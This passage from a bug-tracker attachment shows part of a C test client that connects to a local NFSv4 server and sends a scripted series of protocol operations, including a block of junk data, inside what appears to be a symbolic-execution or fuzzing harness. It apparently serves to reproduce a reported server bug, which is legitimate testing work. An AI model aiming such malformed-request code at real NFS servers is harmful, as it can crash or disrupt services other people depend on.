sin.sin_addr.s_addr = inet_addr("127.0.0.1"); > for(int i = 100; i < 1024; i++){ > sin.sin_port = htons(i); > if(bind(s, (struct sockaddr *)&sin, sizeof(sin)) == 0){ > printf("bound to port %d\n", i); > break; > } > } > sin.sin_port = htons(2049); > >#if SYM > sync(); sleep(1); > asm volatile("addi x0, x0, 0x379"); > for(int i = 0; i < NAA; i++) aa[i] = symx(); >#endif > > if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) { > perror("connect"); > exit(1); > } > > int pid = fork(); > if(pid == 0){ > send_nop(); > > // send_exchange_id_sym(); > send_exchange_id(); > > send_create_session(0); > > send_reclaim_complete(); > > // server may miss the first time, yielding 10008 NFS4ERR_DELAY. > // so trigger the upcall to rpc.mountd and wait a bit. > send_lookup(); > setpriority(PRIO_PROCESS, 0, 15); > sleep(2); > > send_junk(73, 20); > > //send_listxattrs(); > > //send_putfh(); > > //send_open_read(); > > //send_open_create(0); > > //send_readdir(0); > //send_readdir(1); > > // system("touch /tmp/frobozz ; chown nobody /tmp/frobozz"); > // send_open_existing("frobozz", 3); // fetch stateid, for lock > // send_setattr(1); > > //send_create(); > > //system("echo xxxxxxxxxx > /tmp/lockfile ; chmod ogu+rwx /tmp/lockfile"); > //send_open_existing("lockfile", 3); // fetch stateid, for lock > //send_lock(0); > //send_lock(1); > > //send_dir_delegation(1); > > // send_setxattr(2); > > sleep(2); > close(s); > sleep(1); > > exit(0); > } > close(s); > > for(int i = 0; i < 60; i++){ > sleep(1); > int st; > int ret = waitpid(pid, &st, WNOHANG); > if(ret == pid) > break; > } > >#if SYM > asm volatile("addi x0, x0, 0x380"); >#endif >}
You cannot view the attachment while viewing its details because your browser does not support IFRAMEs.
View the attachment on a separate page
.
View Attachment As Raw
Actions:
View
Attachments on
bug 260293
: 229996 |
230070